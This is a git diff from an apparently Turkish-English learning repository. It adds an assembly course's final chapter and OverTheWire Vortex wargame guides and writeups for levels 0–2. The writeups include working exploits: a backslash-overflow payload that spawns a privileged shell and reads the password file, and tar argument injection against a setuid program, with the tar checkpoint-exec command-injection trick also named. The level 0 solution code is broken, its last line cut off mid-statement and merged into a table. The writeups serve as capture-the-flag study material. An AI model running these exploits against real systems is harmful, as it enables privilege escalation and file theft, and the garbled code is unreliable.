+- **Parts & the OS** (Unit 3): the stack, `call`/`ret`, the calling convention, system calls — and finally a real program that **asks you a question and answers it.**
+- **The bridge** (Unit 4): being able to **read** the assembly of a C program.
+
+So now you know, not abstractly but **concretely**: what a computer really does when it "runs." This is a floor that even most programmers can't see clearly. From here, there are three main roads.
+
+> 🔑 This course is a foundation, not an ending. The machine model + instructions + flow + the OS interface + reading compiled code — you have all of it. Three forward roads: **going deeper into 64-bit**, **reverse engineering**, **binary exploitation.** All three rise on top of the floor you're standing on here.
+
+---
+
+## Next Stop: Moving to 64-bit
+
+Throughout this course we learned **32-bit** — because it's simpler and shows the concepts more cleanly. But most machines today run **64-bit**. The good news: the ideas are **exactly the same**; only a few names and details change. Let's write the same "Hello" in 64-bit (`merhaba64.asm`):
+
+```nasm
+section .text
+ global _start
+_start:
+ mov rax, 1 ; sys_write (1 in 64-bit — was 4 in 32-bit)
+ mov rdi, 1 ; screen (rdi instead of ebx)
+ mov rsi, mesaj ; address (rsi instead of ecx)
+ mov rdx, uzunluk ; length
+ syscall ; NOT int 0x80 → syscall
+
+ mov rax, 60 ; sys_exit (60 in 64-bit — was 1 in 32-bit)
+ mov rdi, 0
+ syscall
+```
+
+Assemble it with `nasm -f elf64 ... && ld ...`, run it → it prints `Hello (64-bit world)` to the screen. What changed is the grown-up version of things you already know:
+
+| | 32-bit (what you learned) | 64-bit |
+|---|---|---|
+| Registers | `eax`, `ebx`... (32 bit) | `rax`, `rbx`... (64 bit) + 8 new: `r8`–`r15` |
+| System call | `int 0x80` | `syscall` |
+| Call numbers | write=4, exit=1 | write=1, exit=60 |
+| Syscall arguments | `ebx, ecx, edx` | `rdi, rsi, rdx`... |
+
+As you can see, the **concept** never changed — "put a value in a register, write the number into `rax`, make the call." Only the names and a couple of numbers differ. If you understood 32-bit, moving to 64-bit is an afternoon's work.
+
+(The only real *new habit* is this: in 64-bit you put a **function's** arguments — instead of `push`ing them onto the stack and reading from `[ebp+8]` as you did in 16 — directly into **registers** (`rdi`, `rsi`, `rdx`...). So the `[ebp+8]` stack-argument model from 16 is specific to 32-bit cdecl; inside a 64-bit function you won't see `[ebp+8]` — you'll want to know this in reverse engineering. The fact that the *syscall* arguments in the table above sit in registers is already an example of the very same logic.)
+
+> 🔑 64-bit is the **grown-up version** of what you learned: `e__` registers become `r__` (+ `r8`–`r15`), `syscall` replaces `int 0x80`, the call numbers change. Most of the concepts (register, stack, syscall) are the same; the **idea** of the calling convention is the same too — the only real difference is that function arguments move to **registers** instead of the stack. If 32-bit is a solid foundation, 64-bit is just a new dialect.
+
+---
+
+## Reverse Engineering: Reading Someone Else's Code
+
+In 19 we cracked the big door ajar: you were able to read the assembly of a C program. **Reverse engineering** is exactly the scaled-up version of that — but this time **without** having the source code (C) in hand, answering the question "what does this do?" just by looking at the compiled program (the binary).
+
+Why is it done? To understand how a program with no source works: to analyze a virus, to find a security hole, to understand a closed format, or simply out of curiosity to say "how did they do this?" And the new eye you've just gained — the eye that recognizes `push ebp`, `[ebp+8]`, `call` — is **exactly the foundation** of this work.
+
+You've already met, or will meet, the tools that make this easier:
+
+- **`objdump -d`** — dumps the assembly of a binary (we used `objdump` in this course).
+- **GDB** — stepping through live while it runs (the course's most powerful tool; the same in RE).
+- **Ghidra / radare2 / Cutter** — professional tools for analyzing huge programs; they even turn assembly into readable "pseudo-C." But whether that pseudo-C is correct can only be understood by someone who **can read assembly** — that is, you.
+
+> 🔑 **Reverse engineering** = looking at a compiled binary without its source code and saying "what does it do." It's the source-less version of what you did in 19 (reading asm). The tools (`objdump`, GDB, Ghidra) speed the work up, but the core skill is the **assembly-reading** eye you gained in this course.
+
+---
+
+## Binary Exploitation: Bending the Flow
+
+The third road is the most exciting. Reverse engineering asks "what does the program do?"; **binary exploitation** goes one step further: *"how do I force the program to do something its author **never wanted**?"*
+
+And here is where the finest gift the course gave you is rewarded: **the stack you learned in 14 is the heart of exploitation.** Recall — when you make a `call`, the **return address** was written onto the stack (15). What if a program stores the data it takes from the user on the stack without any bounds, and that data overflows and writes **over the return address**? Then `ret` no longer returns to where the program should go, but to the address **you** placed there — you've bent the flow. This is called a *buffer overflow*, and it is the door to an entire world of security.
+
+Everything you need to understand this (the stack, `call`/`ret`, the return address, memory) you gathered in this course. And you're lucky: inside this very repo there are series that continue right from here —
+
+- **[The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** — the direct continuation of this course; start *bending* the stack.
+- **OverTheWire** wargames (especially **Narnia**, **Behemoth**) — get your hands dirty and learn by exploiting real vulnerabilities.
+
+> 🔑 **Binary exploitation** = forcing a program into behavior its author didn't want. The classic example is the *buffer overflow*: overflowing data crushes the **return address** on the stack, and `ret` returns to wherever you want (14+15!). This course's stack is the very heart of exploitation — the continuation is in the repo's binary_exploitation series and on OverTheWire.
+
+---
+
+## Resources and a Final Word
+
+Wherever you go, a few solid compasses:
+
+- **This repo** — [x86_assembly](./00_buradan_basla.md) (this series you just finished), [binary_exploitation](../binary_exploitation/00_buradan_basla.md), and the OverTheWire solutions. It continues in the same "from the very bottom up" spirit.
+- **Don't let go of GDB.** The most powerful thing you learned in this course wasn't a command but a **habit**: "if you don't understand it, step through it, see it with your own eyes." In 64-bit, in RE, in exploitation — it's your best teacher everywhere.
+- **Follow your own curiosity.** If you ever wonder how a program works, look inside it with `objdump -d`. That output won't feel foreign to you anymore. Not a warning but an encouragement: a real binary — especially one that's optimized, PIE, and stripped of symbols — looks messier than this course's spotless `-O0` examples; PLT/GOT jumps, nameless chunks of code... No panic, the bricks are still familiar — just more of them, laid out more cunningly. Scale up the `-O1` cunning you saw in 19, and that's all it is.
+
+And a final word. The promise at the start of this course was this: *no magic, no hidden work, no invisible rules sneak in between.* I hope it held. Nothing a computer does is magic — it's just very simple operations stacking on top of one another at an unimaginable speed, with exactly the instructions you can now read. That box is no longer closed.
+
+From here on it's up to your curiosity. Safe travels. 🚀
+
+> 🔑 This course was the foundation; three roads (64-bit, RE, exploitation) lead out from here. Your most lasting tool isn't a command but the habit **"if you don't understand it, step through it in GDB, see it with your own eyes."** And the promise from the start: there is no magic in the machine — just instructions you can now read. The box is open.
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Recall where you started; every item on the "what you'll be able to do at the end" list is now in your hands
+- [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md) — Reading compiled code; the direct first step of reverse engineering
+- [14_stack.md](./14_stack.md) — The heart of binary exploitation; the basis of the idea of "crushing the return address"
+- [../binary_exploitation/00_buradan_basla.md](../binary_exploitation/00_buradan_basla.md) — The direct continuation of this course: start *bending* the flow you learned
+
+---
+
+**Previous topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+**Next step:** [The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md) — 🎉 **The x86 Assembly series is completed here.** Keep bending the stack you learned.
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konular.html b/docs/eng/konular.html
index 1f1b15c..9993b81 100644
--- a/docs/eng/konular.html
+++ b/docs/eng/konular.html
@@ -27,7 +27,7 @@
topic guides
resources
- TREN
+ TREN
★ GitHub
diff --git a/docs/eng/overthewire/WARGAMES.md b/docs/eng/overthewire/WARGAMES.md
index a385335..f61e8b7 100644
--- a/docs/eng/overthewire/WARGAMES.md
+++ b/docs/eng/overthewire/WARGAMES.md
@@ -11,8 +11,8 @@
## 🗺️ Recommended Order
```
-Bandit → Leviathan → Krypton → Narnia → Behemoth → Utumno → Maze
-(basics) (intro RE) (crypto) (binary) (medium) (advanced) (mixed/capstone)
+Bandit → Leviathan → Krypton → Narnia → Behemoth → Utumno → Maze → Vortex
+(basics) (intro RE) (crypto) (binary) (medium) (advanced) (capstone) (broad binexp)
Natas — web security, separate branch, start whenever you like
```
@@ -27,6 +27,7 @@ Natas — web security, separate branch, start whenever you like
| [Behemoth](#-behemoth--intermediate-binary-exploitation) | 7/10 | 9 | PATH hijack, format string, symlink, UDP, BOF |
| [Utumno](#-utumno--advanced-binary-exploitation) | 9/10 | 9 | Arbitrary write, integer bugs, jmp_buf/PTR_MANGLE |
| [Maze](#-maze--mixed-binary-exploitation--re) | 5/10 | 9 | TOCTOU, lib hijack, self-modifying, FSOP, ELF parser, format string |
+| [Vortex](#-vortex--broad-binary-exploitation-from-the-network) | 6/10 | 27 | Network/endianness, overflow, format string, heap, ROP, crypto, RE/keygen |
---
@@ -159,6 +160,28 @@ it brings together all the techniques in the series, which is why despite a 5/10
---
+## 🌀 Vortex — Broad Binary Exploitation from the Network
+
+A 27-level lab that **starts** with network/socket programming and then walks the entire classic
+binary-exploitation curriculum: endianness → overflow → format string → heap → ret2libc/ROP, then
+cryptanalysis + RE/keygen. Unlike Narnia/Behemoth it isn't a single pattern; source is **not given**
+at most levels → you disassemble the binary yourself. The "advanced" topics (heap/ROP) sit
+surprisingly in the **middle band (8–13)**; the upper half (14–26) leans toward crypto + RE.
+
+> 📌 **Read before starting:** [00 - Vortex - BAŞLAMADAN ÖNCE OKUYUNUZ.md](./vortex/00%20-%20Vortex%20-%20BAŞLAMADAN%20ÖNCE%20OKUYUNUZ.md) — prerequisite knowledge & level map.
+>
+> ⚠️ 32-bit (x86) little-endian. The entry point is **not** SSH — it's a **port 5842** network task; after that, **port 2228**. Passwords are hidden in the writeups (`**********`).
+
+| File | Topic / Technique | Levels |
+|---|---|---|
+| [vortex 0 -> 1.md](./vortex/vortex%200%20-%3E%201.md) | Network socket + endianness — sum 4×uint32 in host byte order (little-endian) and send it back | 0 → 1 |
+| [vortex 1 -> 2.md](./vortex/vortex%201%20-%3E%202.md) | Unbounded `ptr` decrement → write `0xca` over its own MSB → embedded `execlp` shell | 1 → 2 |
+| [vortex 2 -> 3.md](./vortex/vortex%202%20-%3E%203.md) | `tar` argument injection (setuid) — have it archive the password file, read it from the group-readable archive | 2 → 3 |
+
+> 🚧 This section is growing — new levels will be added as they're solved (27 total).
+
+---
+
## 🛠️ How to Use
1. Go to [OverTheWire](https://overthewire.org/wargames/)
diff --git "a/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md" "b/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md"
new file mode 100644
index 0000000..d78b638
--- /dev/null
+++ "b/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md"
@@ -0,0 +1,120 @@
+# Read Before You Start Vortex — Prerequisites & Topic Guide
+
+> This document describes which topics you need to master before starting the OverTheWire
+> **Vortex** wargame. Vortex is a **32-bit x86 Linux binary exploitation** game, but
+> interestingly it **starts with network/socket programming** (27 levels: vortex0 → vortex26).
+> Unlike Narnia/Behemoth, it doesn't drill a single pattern but walks through **the entire
+> classic binary exploitation curriculum**: overflow, format string, heap, ret2libc/ROP, then
+> cryptanalysis + RE/keygen.
+> (This document **contains no solutions** — only prerequisites and a map of the terrain.)
+
+---
+
+## 0. What is Vortex, what does it expect?
+
+- **The entry is different:** vortex0 doesn't start with SSH but by connecting to the port **`vortex.labs.overthewire.org:5842`** and solving a network task; as a reward it hands you the vortex1 credentials.
+- **After that it's SSH:** `ssh vortexN@vortex.labs.overthewire.org -p 2228` (⚠️ **2228**, not 2223 — that's Leviathan).
+- The server is **32-bit x86, little-endian**. Files live under `/vortex/`; each level program is `-r-sr-x---` (**setuid** to the next user).
+- The target password is `/etc/vortex_pass/vortexN` (readable only by that user) → the general idea is to exploit the program and get it to read the file with that user's privileges.
+- **Source code is NOT provided for most levels** → you disassemble the binary yourself with `objdump`/`gdb`. This is the concrete reason it's said to "teach assembly."
+- **Prerequisite wargames:** Bandit → Narnia → Behemoth → Utumno (then Vortex). Difficulty ~6/10, but the **range of topics** is very broad.
+
+**Surprise warning:** the "advanced memory corruption" (heap/ROP) you'd expect **is not** in the upper half but clusters in the middle region (8–13). The upper half (14–26) is more about **cryptanalysis + reverse engineering + keygen**.
+
+---
+
+## 1. Level Map (conceptual — not solutions)
+
+| # | Theme | Key concept |
+|---|------|----------------|
+| 0 | **Network + endianness** | socket client; read/sum/send 4×uint32 in **host byte order** (little-endian) |
+| 1 | **Unbounded pointer** | `ptr` decrement (no bound) → overwrite itself → embedded shell condition |
+| 2 | **Argument injection** | setuid program passes a user argument to `tar` as an operand |
+| 3 | **Shellcode + setuid** | stack overflow; the shell drops privileges → `setresuid` in the shellcode |
+| 4 | **Format string** | leak with `%x` / write with `%n`; argc-check twist; GOT overwrite |
+| 5 | **Crypto brute** | short (5-character) MD5 brute force |
+| 6 | **Reverse engineering** | no source → disassemble and find the hole yourself |
+| 7 | **CRC32 inversion** | produce input that reaches the target checksum |
+| 8 | **Dynamic linking / PLT-GOT** | analyze a dynamically-linked binary + function pointer |
+| 9 | **NX / ret2libc** (no official description → verify yourself) | defeat a non-executable stack with code reuse |
+| 10 | **PRNG seed** | recover the seed from 20 numbers (30-second limit) |
+| 11 | **Heap** | phkmalloc (OpenBSD) metadata corruption |
+| 12 | **NX bypass** | ret2libc / ROP |
+| 13 | **ROP + size constraint** | NX + a payload that fits into a very small space |
+| 14 | **Weak stream cipher** | RC4-type + traffic analysis |
+| 15 | **Known-plaintext** | 8-byte A–Z key brute + file-signature verification |
+| 16 | **Partial key** | 100 bits of a 128-bit key given, ~28 bits brute |
+| 17 | **Working backwards** | no target given; infer the vulnerability from black-box observation |
+| 18 | **Predictable seed** | weak `urandom`/PRNG seeding |
+| 19 | **Keygen** | break a weak binary encryption and write a key generator |
+| 20 | **Integer overflow** | remote integer boundary bug |
+| 21 | **Reverse-me** | solve it by understanding the encryptor |
+| 22 | **Object analysis** | verification logic from `.o` files → keygen |
+| 23 | **"Mirror"** (unclear) | title hint; independent research |
+| 24 | **glibc `random_r`** | recompute the seed from the RNG internal state |
+| 25 | **MISSING** | no longer active (24→26 bridge) |
+| 26 | **Meta-final** | write your own level + its exploit (the end) |
+
+> The last technical level in practice is **24** (25 is missing, 26 is meta). vortex9/23 have no official description → verify yourself in the box.
+
+---
+
+## 2. Network & Byte Order — the heart of vortex0
+
+- **host byte order** = the machine's natural order (x86 → **little-endian**); **network byte order** = big-endian. `htonl`/`ntohl` convert between the two.
+- Raw socket: `recv` may return fewer bytes → complete it in a loop; interpret/pack binary data with `struct.pack/unpack` (`<`=little).
+- 32-bit overflow: the sum of 4 numbers exceeds 32 bits → `& 0xFFFFFFFF` (mod 2³²).
+
+## 3. x86 (32-bit) Assembly & Memory
+
+- **Stack frame:** `push ebp; mov ebp,esp`; locals at `ebp-N`, the saved return address at `[ebp+4]`. The overflow distance (offset) is computed from this layout.
+- **Calling convention (cdecl):** arguments pushed onto the stack right-to-left; the caller cleans up. Decisive in format-string and ret2libc.
+- **Registers:** EAX (return), EBP/ESP (frame), EIP (target). Addresses are 4-byte **little-endian**.
+- **Syscall:** `int 0x80` + EAX (number) / EBX,ECX,EDX (args). (**Not** the 64-bit `syscall`+RDI/RSI.)
+- Reading: `objdump -d -M intel`, `pwndbg`/`gdb` (breakpoint, `x/`, `info registers`).
+
+## 4. Shellcode
+
+- `execve("/bin/sh")` (32-bit); if it's embedded in a string it must be **null-free** (`strcpy` cuts off at 0x00 → zero out registers with xor).
+- On setuid levels the shell may drop privileges → `setreuid/setresuid(geteuid())` in the shellcode.
+- `pwntools`: `asm(...,arch='i386')`, `shellcraft.i386.linux.sh()`, `cyclic`/`cyclic_find` (offset).
+
+## 5. Cryptanalysis & RNG (upper half)
+
+- Short/weak hash (MD5), weak stream cipher (RC4), known-plaintext, constrained-keyspace brute.
+- The **PRNG vulnerability** trio (10, 18, 24): recomputing the seed/state from output; glibc `random_r` internal structure.
+- RE/keygen: extract the verification algorithm with `objdump`/`radare2` and reverse-code it.
+
+## 6. Security Mitigations — check FIRST on every level
+
+| Mitigation | Check | Effect |
+|--------|---------|--------|
+| NX/DEP | `checksec`, `readelf -l` GNU_STACK | off → shellcode; on → ret2libc/ROP |
+| Canary | `checksec` | overflow strategy (present on some levels in Vortex) |
+| ASLR | usually not deterministic → confirm per level | address finding |
+
+---
+
+## 7. Tools
+
+`ssh`, `nc`, `python3` (socket + `struct`), `objdump -d -M intel`, `readelf`, `nm`, `strings`,
+`gdb`/`pwndbg`, `strace`/`ltrace`, `gcc -m32`, `nasm`, `pwntools` (`ssh`/`process`/`p32`/`asm`/`cyclic`/`ROP`),
+`ropper`/`ROPgadget` (ROP), `radare2` (RE/keygen).
+
+## 8. "Am I Ready?" Checklist
+
+- [ ] I can write a TCP socket client and apply the **host vs network byte order** difference
+- [ ] I can read a 32-bit stack frame + `objdump` disasm (source isn't provided!)
+- [ ] I know null-free `execve` shellcode + setuid privilege-drop (`setresuid`)
+- [ ] I can apply format string `%n` / GOT overwrite logic
+- [ ] I know how to defeat NX with ret2libc / ROP (ropper/ROPgadget)
+- [ ] I've heard of heap (phkmalloc) and PRNG-seed recomputation concepts
+- [ ] I can extract an algorithm for a keygen with `radare2`/`objdump`
+
+If you say "yes" to most of these, you're ready for Vortex. If you have "no"s, first solidify **Narnia + Behemoth**.
+
+---
+
+> This guide is only a **topic/prerequisite** list, it contains no solutions. OverTheWire asks
+> that solutions not be published on the web — these notes are for your personal study. Passwords
+> in this repo are always kept **masked** (`**********`).
diff --git a/docs/eng/overthewire/vortex/vortex 0 -> 1.md b/docs/eng/overthewire/vortex/vortex 0 -> 1.md
new file mode 100644
index 0000000..273999c
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 0 -> 1.md
@@ -0,0 +1,72 @@
+# OverTheWire — Vortex Level 0 → 1
+
+> Goal: `vortex1` password via the `vortex0` network task. Result: **`**********`** (hidden)
+> Technique: Read 4×uint32 from a TCP socket (**host byte order = little-endian**), sum them, send it back.
+> Environment: 32-bit x86 (little-endian). Entry is **not** SSH — the game starts with the **port 5842** network service.
+
+---
+
+## 1. Connection
+There is no SSH on vortex0; the game starts with a network task. A plain `nc` won't do (binary arithmetic is required), but to see the service:
+```bash
+nc vortex.labs.overthewire.org 5842 # sends 16 bytes (4×uint32), expects a 4-byte result
+```
+All subsequent levels: `ssh vortex1@vortex.labs.overthewire.org -p 2228`
+
+## 2. The Task
+Official: *"connect to port 5842, read 4 unsigned ints in **host byte order**, sum them, send it back → vortex1 credentials."*
+Critical nuance: **host byte order** = the machine's native order. The server is 32-bit x86 → **little-endian** (**not** network/big-endian). The sum wraps to 32 bits (mod 2³²), and the result is sent as 4 raw bytes.
+
+## 3. Recon — look at the raw bytes first
+Before writing blind code, without sending anything, read the 16 bytes and see both interpretations:
+```python
+import socket, struct
+s = socket.create_connection(("vortex.labs.overthewire.org", 5842)); s.settimeout(10)
+d = b""
+while len(d) < 16: d += s.recv(16 - len(d)) # recv may return less → fill up to 16
+print("hex:", d.hex(" "))
+print("little <4I:", struct.unpack("<4I", d))
+print("big >4I:", struct.unpack(">4I", d))
+```
+```
+hex: 9a 08 52 24 53 68 5f 19 9c a8 51 6a 4a 1d fc 42
+little <4I: (609355930, 425683027, 1783736476, 1123818826) total=3942594259
+big >4I: (2584236580, 1399349017, 2628276586, 1243479106) total=3560373993
+```
+Observation: exactly **16 bytes**; the two interpretations give **different sums** → byte order is vital. Also, every connection brings **new numbers** → read+sum+send must happen **in a single connection**.
+
+## 4. The Trap — trying big-endian (came up in the live solve)
+The first reflex is "network = network byte order (big-endian)". Tried:
+```
+$ python3 solve.py ">"
+sent: bd 2f b4 9d
+--- server --- bzzzt, wrong
+```
+> ⚠️ **byte-order trap:** In network programming, the network byte order (big-endian) habit is **wrong** here. The spec clearly says *"host byte order"*; x86 = little-endian. The diagnosis = seeing the error message and **re-reading the spec**, not random trial-and-error. The fix: `>` → `<`.
+
+## 5. Exploit (little-endian = host byte order)
+```python
+import socket, struct
+s = socket.create_connection(("vortex.labs.overthewire.org", 5842)); s.settimeout(10)
+d = b""
+while len(d) < 16: d += s.recv(16 - len(d))
+total = sum(struct.unpack("<4I", d)) & 0xFFFFFFFF # <4I = little-endian; & mask = mod 2^32
+s.send(struct.pack("`/`!`=big |
+| 32-bit overflow | the sum of 4 numbers exceeds 32 bits → wrap it with `& 0xFFFFFFFF` (mod 2³²) |
+| `recv` may return partial data | guarantee all 16 bytes with a `while len<16` loop |
+| Single connection | each connection means new numbers → read+sum+send on the same socket |
+| Methodology | observe first (raw bytes), read the error message seriously, don't try a new fix before finding the root cause |
diff --git a/docs/eng/overthewire/vortex/vortex 1 -> 2.md b/docs/eng/overthewire/vortex/vortex 1 -> 2.md
new file mode 100644
index 0000000..bb9bb69
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 1 -> 2.md
@@ -0,0 +1,75 @@
+# OverTheWire — Vortex Level 1 → 2
+
+> Goal: the `vortex2` password from `vortex1`. Result: **`**********`** (redacted)
+> Technique: unbounded `ptr` decrement → make the pointer overwrite **itself** and set its MSB to `0xca` → embedded `execlp` shell.
+> Environment: 32-bit x86, stack canary **present** (we don't touch it), NX on (no shellcode needed), **ASLR irrelevant**.
+
+---
+
+## 1. Connection
+```bash
+ssh vortex1@vortex.labs.overthewire.org -p 2228 # password: obtained from vortex0
+```
+`/vortex/vortex1` → `-r-sr-x--- vortex2 vortex1` (setuid vortex2). **No source (`.c`)** → disassembled with `objdump -d -M intel` and the logic reconstructed (not stripped, symbols present).
+
+## 2. Analysis (`objdump` → pseudocode)
+```c
+char buf[512]; // ebp-0x21c
+char *ptr = buf + 256; // ebp-0x224 ; start buf+0x100
+int x;
+while ((x = getchar()) != EOF) {
+ if (x == '\n') print(buf, 512); // print buf
+ else if (x == '\\') ptr--; // ⚠ NO BOUNDS CHECK
+ else {
+ if ((ptr & 0xff000000) == 0xca000000) { // WIN condition
+ setresuid(geteuid(), geteuid(), geteuid());
+ execlp("/bin/sh", "sh", NULL); // → vortex2 shell
+ }
+ if (ptr <= buf + 512) // only UPPER bound check
+ *ptr++ = (char)x; // write, then advance
+ }
+}
+puts("All done");
+```
+
+## 3. Vulnerability
+- `\` (backslash) → does `ptr--`, with **no bounds check at all** → ptr can descend far below `buf`.
+- The write only checks the **upper** bound (`ptr <= buf+512`); there is no lower bound → **writing below buf is free**.
+- The `ptr` variable itself sits in memory just below `buf` (`ebp-0x224`, while buf is at `ebp-0x21c` → 8 bytes earlier). So we can walk ptr back and make **its own storage** the write target.
+- To win: `ptr`'s **most significant byte (MSB)** should be `0xca` → `(ptr & 0xff000000)==0xca000000` → `execlp` shell.
+
+> 💡 **Why ASLR is irrelevant:** ptr is a stack address (possibly random), but we are not trying to know its value — we write **`0xca` directly** into its MSB. Whatever the address is, the top byte becomes 0xca.
+
+## 4. Offset (where 261 comes from)
+- `ptr` start = `buf+0x100` = `ebp-0x11c`.
+- The MSB of the `ptr` variable (little-endian, highest address) = `ebp-0x224 + 3` = `ebp-0x221`.
+- Decrement needed = `0x221 - 0x11c` = **261** backslashes → ptr points exactly at its own MSB.
+- Then write `0xca`: `*ptr = 0xca` clobbers the MSB → `ptr = 0xca______`.
+- One more trigger byte (any normal char) → the win check passes → shell.
+
+## 5. Exploit
+```bash
+python3 -c '
+import sys,time
+sys.stdout.buffer.write(b"\\"*261 + b"\xca\xca"); sys.stdout.flush(); time.sleep(1)
+sys.stdout.buffer.write(b"id; cat /etc/vortex_pass/vortex2\n"); sys.stdout.flush(); time.sleep(1)
+' | /vortex/vortex1
+```
+Output:
+```
+uid=5002(vortex2) gid=5001(vortex1) groups=5001(vortex1)
+**********
+```
+> ⚠️ **stdio/EOF trap (official hint: "how bash handles EOF"):** `getchar` pulls the input into the 4 KB stdio buffer all at once. If you feed the payload together with the commands in one shot, then when the `execlp` shell is born the buffer stays in the old process, the pipe empties → the shell gets an **immediate EOF** and closes. Fix: send the payload, **wait briefly** (let getchar consume it and the shell come up), *then* feed the command — so the command waits in the pipe for the shell.
+
+## Lessons
+| Topic | Note |
+|------|------|
+| Unbounded pointer | `\` → `ptr--`, no bounds check → ptr can land on top of its own storage |
+| One-way bound | The write only checks the upper bound (`ptr<=buf+512`); no lower bound |
+| Self-modifying write | Bring ptr to its own MSB + write `0xca` → `(ptr&0xff000000)==0xca000000` wins |
+| Little-endian | MSB = the highest-addressed byte (`ebp-0x221`); `0xca` is written there ([[vortex0]] byte-order revisited) |
+| ASLR-independent | No need to know the address value; the MSB is written directly |
+| stdio/EOF trap | `getchar` buffers → wait after the payload, then feed the command (let the spawned shell read it) |
+| setuid privesc | `setresuid(geteuid×3)` before `execlp` → ruid=vortex2, the shell doesn't drop privilege |
+| When there's no source | `objdump -d -M intel` + `not stripped` symbols → lift the logic into pseudocode |
diff --git a/docs/eng/overthewire/vortex/vortex 2 -> 3.md b/docs/eng/overthewire/vortex/vortex 2 -> 3.md
new file mode 100644
index 0000000..473b0e4
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 2 -> 3.md
@@ -0,0 +1,64 @@
+# OverTheWire — Vortex Level 2 → 3
+
+> Goal: Get `vortex3`'s password from `vortex2`. Result: **`**********`** (redacted)
+> Technique: a setuid program passes user arguments to `tar` as operands → make tar (euid=vortex3) **archive the password file**, then extract from the group-readable archive.
+> Environment: 32-bit x86 setuid (vortex3); the vulnerability is not memory, but an **unsafe subprocess call**.
+
+---
+
+## 1. Connection
+```bash
+ssh vortex2@vortex.labs.overthewire.org -p 2228 # password: taken from vortex1
+```
+`/vortex/vortex2` → `-r-sr-x--- vortex3 vortex2` (setuid vortex3). No source → `objdump` + `strings` (seen: `/bin/tar`, `/tmp/ownership.$$.tar`).
+
+## 2. Analysis (`objdump` → pseudo-code)
+```c
+int main(int argc, char **argv) {
+ char *args[6];
+ args[0] = "/bin/tar";
+ args[1] = "cf";
+ args[2] = "/tmp/ownership.$$.tar"; // FIXED path — execv, NO shell → $$ does not expand, literal
+ args[3] = argv[1]; // ← user-controlled
+ args[4] = argv[2]; // ← user-controlled
+ args[5] = argv[3]; // ← user-controlled
+ execv("/bin/tar", args); // tar cf /tmp/ownership.$$.tar
+}
+```
+
+## 3. The Vulnerability
+- The program passes the user's `argv[1..3]` **directly** to `tar` as operands, and tar runs with **euid=vortex3** (setuid).
+- You tell tar "which files to archive" → tar can read those files **with vortex3's privileges**.
+- The resulting archive `/tmp/ownership.$$.tar`: owner vortex3, but **mode `-rw-rw-r--`, group vortex2** → we (vortex2, group vortex2) **can read it**.
+- Idea: make tar **archive the password file** → its contents end up in the archive → read the archive and extract them.
+
+> 💡 **Two tar paths:** (A) archiving the password file [the one I used, cleanest]; (B) the classic tar **`--checkpoint-action=exec=`** command injection (tar mistakes a `--`-prefixed operand for an option). B is the path the level's "GNU tar manual" hint points to, but it has two snags: enough **records** are needed for the checkpoint to fire, and because the action runs via `sh -c`, **privileges may drop**. A sidesteps both.
+
+## 4. Exploit (A — make tar archive the password file)
+```bash
+cd /tmp
+/vortex/vortex2 /etc/vortex_pass/vortex3 # → tar cf /tmp/ownership.$$.tar /etc/vortex_pass/vortex3
+tar xOf '/tmp/ownership.$$.tar' # dump the archive's contents to stdout (x=extract, O=stdout, f=file)
+```
+Output:
+```
+/bin/tar: Removing leading `/' from member names # (tar's normal warning)
+**********
+```
+Verification: `tar tvf '/tmp/ownership.$$.tar'` → `-r-------- vortex3/vortex3 ... etc/vortex_pass/vortex3` (tar read the file as vortex3).
+
+> ⚠️ **SIGPIPE trap (came up in the live solve):** if you pipe the program's output into something like `| head`, then when the pipe closes early `tar` dies with **SIGPIPE** and leaves a half/stale archive behind (old `mtime`, empty contents). Run the program **without a pipe**, and read the archive separately afterwards.
+
+> ⚠️ **fixed output path:** `/tmp/ownership.$$.tar` is literal (execv, `$$` does not expand). The file is owned by vortex3; in sticky `/tmp` you **cannot delete** it, but tar (euid vortex3) **can overwrite** it, and since it is group-`rw` **you can read** it.
+
+## Lessons
+| Topic | Note |
+|------|------|
+| Unsafe subprocess | Passing a user argument to a privileged program (tar) without filtering = privesc |
+| Confused deputy | The setuid program reads files on your behalf with vortex3's privileges (a continuation of the [[vortex1]] setuid logic) |
+| tar = file-read primitive | Controlling "what to archive" = controlling "which file to read as vortex3" |
+| Group permissions | Output is `-rw-rw-r--` group vortex2 → we can read the archive and extract the contents |
+| `tar xOf` | Dumps an archive member to **stdout** without unpacking it to disk → quick content read |
+| tar checkpoint trick | `--checkpoint-action=exec=CMD` = classic tar RCE; but the record + `sh -c` privilege drop make it fiddly |
+| SIGPIPE | Closing a `| head` pipe early while the subprocess is writing → SIGPIPE → truncated output |
+| execv vs system | execv opens no shell → `$$` stays literal; but argument injection is still possible |
diff --git a/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
index 7df23e8..6673d9b 100644
--- a/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
+++ b/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -90,6 +90,8 @@ Sonucu şu: `AL`'i değiştirirsen, `EAX`'in de en alt byte'ını değiştirmiş
sadece en alt byte değişti; gerisi yerinde kaldı
```
+Neden `AL = 0x44`? 03'ten hatırla: en **sağdaki** hane en küçük değerdir — o yüzden bir sayının en alt byte'ı hep en sağdaki iki hex rakamıdır. `0x11223344`'ün en sağı `44` → `AL`, onun solundaki `33` → `AH`. (Soldan başlayıp `0x11`'i `AL` sanma; alt byte hep sağ uçtadır.)
+
